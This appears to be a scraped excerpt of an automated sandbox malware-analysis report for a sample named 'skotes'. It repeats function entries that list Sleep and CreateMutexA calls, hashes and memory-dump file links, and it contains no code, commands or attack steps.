Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 163362f4fc4838d2ca0941690f16fc8b36ec8583f57ba0512e5e0bdaacdcd5d1
Instruction ID: 0aa03414428dcd7516c1b4087a02cb194f9ec9546d6978bf7b13ff405d6eb8cf
Opcode Fuzzy Hash: 163362f4fc4838d2ca0941690f16fc8b36ec8583f57ba0512e5e0bdaacdcd5d1
Instruction Fuzzy Hash: 8E3127B17402089BEB08DBBCDD89B7DBB66BB86311F244618E118DB3D5C7BA59808753

Function 005FA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 98889f99dcdc6be607f01720e9e97d666f6e7c2a813710038d9df385ff48f1aa
Instruction ID: 76c04ce3e0934be98373be16875559c2c97a8f4a35c69c5c1b198652f5be346d
Opcode Fuzzy Hash: 98889f99dcdc6be607f01720e9e97d666f6e7c2a813710038d9df385ff48f1aa
Instruction Fuzzy Hash: 053129716402089BEB08EB7CD98977DBB66FBC1314F204618E1189B3DAD7B959808767

Function 005FA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: df45148b7f730acb7960210a75b33c25ec0b1b1983dd9f1def4fcf06ab17d13d
Instruction ID: af0b9f9053cb2b8cab524d93265cdd78ea1cf86c46f77e4c8e24315ab9cec5aa
Opcode Fuzzy Hash: df45148b7f730acb7960210a75b33c25ec0b1b1983dd9f1def4fcf06ab17d13d
Instruction Fuzzy Hash: 003139B16001088BEB08DB78DD8577DBB62FBC5314F248618E508DB3DAC7B999808767

Function 005FA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: d7d440e0f57277b6ebac430b430e828b9b0696b5f98b3bc1f44a8a4c2e92741b
Instruction ID: f556fd1705700f199e36f01c79502359709bd3bcc5d313310a5db509f44368f2
Opcode Fuzzy Hash: d7d440e0f57277b6ebac430b430e828b9b0696b5f98b3bc1f44a8a4c2e92741b
Instruction Fuzzy Hash: E63128B16002088BEB08EB7CDD85B7DBB73EB85311F248618E518DB3D6C7B959808767

Function 005F9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: e91d4f34115b602203b94c498efa2b0888e3bb1137ea65cd912c808f18b3dcdf
Instruction ID: 5174a1ef8976f87f89cc4879c984d57e014a150b35e2de80d902b465afc8a781
Opcode Fuzzy Hash: e91d4f34115b602203b94c498efa2b0888e3bb1137ea65cd912c808f18b3dcdf
Instruction Fuzzy Hash: 532137716446049BEB189F6CED8573DBB62FBC1311F204629E508CB3DACBBA5A808752

Function 005FA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 751996d98e79ae5041df7c278fecfe30ad190e7777623f2f32c76dfe5878e82c
Instruction ID: 30c74e1412f99efd05b7c67a136974caf35b4b97ff858aa82fbe05646ec7d9cd
Opcode Fuzzy Hash: 751996d98e79ae5041df7c278fecfe30ad190e7777623f2f32c76dfe5878e82c
Instruction Fuzzy Hash: 54212DB128420E9AE71467AC988A73D7E53FFC5701F240D15E64CD73D6CAFD55818193

Function 005FA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

